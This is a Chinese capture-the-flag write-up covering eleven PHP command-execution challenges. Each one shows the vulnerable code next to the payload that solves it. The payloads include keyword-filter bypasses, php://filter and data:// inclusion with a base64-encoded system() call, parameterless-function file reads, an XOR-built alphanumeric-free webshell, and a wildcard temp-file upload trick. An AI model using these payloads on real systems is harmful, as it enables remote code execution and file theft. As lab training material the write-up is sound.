AWCTF-web(命令执行)
前言
最近我们的CTF平台上了一些新的web题,关于命令执行。em.....本人对于命令执行也只能是初步了解阶段。
正好可以趁此再对于知识点进行补充。话不多说,整活!!!
web1
首先我们要打开,靶场。里面是一段php代码
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
经审计,发现其实非常简单。需要对$c进行传参,而这里过滤了flag。那我们只需绕过即可。
首先我们利用system函数找到flag所在位置pyload:
?c=system('ls ../../../');
然后获取里面的数据即可,pyload:
?c=system('cat ../../../fla\g');

web2
来到第二关,php代码如下
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这次我们发现,它不仅过滤了flag,而且对system与php也进行了过滤。
这里它过滤了system怎么办。不能使用system函数了。
那我们只需找另一个函数来代替system了。
我们来看一下。常见的命令执行都有哪些
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()
其中有回显的只有system()与passthru()函数。其余几个命令执行函数需要调用echo或者其他输出函数
这里我们使用passthru()函数即可,操作方法与web1相同
web3
php代码如下:
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这题它过滤了好多关键,而且还有空格,那我们可以利用eval()函数来进行执行
pyload:
?c=eval($_GET[cmd]);&cmd=system('cd ..;cd ..;cd ..;ls;cat flag');
即可获得flag

web4
我们再看web4,php代码如下:
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
此题在以上基础上进一步地过滤了引号与分号。这如何是好。借鉴了一下大佬的文章。
它过滤了分号,我们可以利用短标签?>进行绕过。然后使用include进行传参,利用php伪协议来读取文件
pyload:
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=/flag
得到一串base64密文,解码即可获得flag
web5
代码如下
<?php //flag in /flag //error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); // echo $flag; } }else{ highlight_file(__FILE__); }
这次flag存放在/flag文件里。而且过滤了flag,所以这次php://filter 就用不了。
我们可以使用data://协议
data://协议,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
pyload:
?c=data://text/plain,<?php system('cat ../../../fla\g');?>
即可获得flag
web6
<?php // flag in /flag error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); // echo $flag; } }else{ highlight_file(__FILE__); }
经过审计可知,此题是在上题的基础上把php与file都过滤掉了。那我们就用base64绕过,只需将php代码以base64的形式表示
pyload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgLi4vLi4vLi4vZmxhXGciKTs/Pg== //base64编码就是<?php system("cat ../../../fla\g");?>
即可得到flag
web7(无参数)
我们来到了第七关,先看一下代码吧。
<?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
经过审计。发现过滤了很多东西。经过借鉴大佬文章。得知。此题需要php无参数函数构造。先把Pyload扔下:
?c=readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));
什么是无参数
就是使用函数的时候不能带有参数。
可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数
所以我们要使用无参数的函数进行文件读取或者命令执行。
函数
current() 返回数组中的单元,默认第一个值。
scandir() 函数返回指定目录中的文件和目录的数组。
array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
dirname() :返回路径中的目录部分。(也就是返回上一级)
chdir() :改变当前工作目录
next():将数组中的内部指针向前移动一位
readfile():读取文件数据
chdir():切换工作路径
getcwd():获得绝对路径
解题
首先print_r(next(scandir(getcwd())));出现的数组第二个就是".."
然后使用next()就可查看当前目录了
?c=print_r(scandir(dirname(getcwd())));//查看当前目录
?c=print_r(scandir(dirname(dirname(getcwd()))));//查看上一级目录
?c=print_r(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))));
这样可获得flag文件

然后我们开始读取里面的文件,可利用readfile与array_rand(array_flip())
最后可构造pyload
?c=readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));
因为数组是随机生成的,所以一定要多刷新几次。才会出来。

详细可参考此链接
web8
代码如下:
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
>/dev/null 2>&1 //表示的意思就是不显示任何信息。
详细可参考此链接
需要回显的话可用命令分隔
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
pyload:
?c=cat ../../../flag;
web9(无字母数字)
<?php highlight_file(__FILE__); header("Content-type:text/html;charset=utf-8"); error_reporting(0); if(preg_match('/[a-z0-9]/is',$_GET['shell'])){ echo "hacker!!!"; }else{ eval($_GET['shell']); } ?>
参考文章:无字母数字webshell
可以使用此脚本
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
然后再_=system('cat ../../../flag');
即可获得flag、


web10
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
过滤了字母,数字。
解题思路:
我们通过post一个文件(文件里面写入sh命令),在上传的过程中,通过.(点,也就是 source命令)去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
**注意:通过.去执行sh命令不需要有执行权限**
首先是构造一个post文件上传
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://49.232.149.138:10037/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
然后传php文件,抓包,构造pyload为:
?c=.+/???/????????[@-[]
php文件内容为
#!/bin/sh
cat /flag

一定要多试试,每次上传的文件不一定有大写的文件名,需要多上传几次
web11
方法与web10一样。按步骤来即可

浙公网安备 33010602011771号